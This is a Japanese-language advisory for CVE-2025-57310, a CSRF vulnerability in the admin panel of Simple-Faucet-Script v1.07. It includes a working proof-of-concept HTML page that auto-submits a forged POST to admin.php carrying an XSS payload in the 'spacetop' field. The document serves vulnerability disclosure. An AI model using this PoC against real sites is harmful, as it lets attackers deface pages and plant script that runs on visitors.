mmakingdom/cve-2025-57310Salmen2/Simple-Faucet-Script v1.07 におけるクロスサイトリクエストフォージェリ (CSRF) の脆弱性。admin.php?p=ads&c=1 への巧妙に細工された POST リクエストを介して、攻撃者が任意のコードを実行できる可能性があります。
Salmen2/Simple-Faucet-Script v1.07 には、admin.php?p=ads&c=1 への巧妙に細工された POST リクエストによるクロスサイトリクエストフォージェリ (CSRF) の脆弱性が存在し、攻撃者が任意のコードを実行できる可能性があります。
CWE-352: クロスサイトリクエストフォージェリ (CSRF)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
この製品は、管理パネルにおいてクロスサイトリクエストフォージェリ (CSRF) の脆弱性の影響を受けます。認証された管理者が PoC を含む悪意のあるページを訪問すると、CSRF 攻撃によりホームページのコンテンツが不正に変更されます。
<!DOCTYPE html>
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<h3>Standard CSRF PoC</h3>
<form action="https://example.com/admin.php?p=ads&c=1" method="post">
<input type="hidden" name="spacetop" value="<script>alert();</script>" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
攻撃者は spacetop パラメータを介して任意の HTML/JavaScript をホームページに注入でき、格納型クロスサイトスクリプティング (XSS) を引き起こす可能性があります。
Muntadhar M. Ahmed (almuntadhar0x01)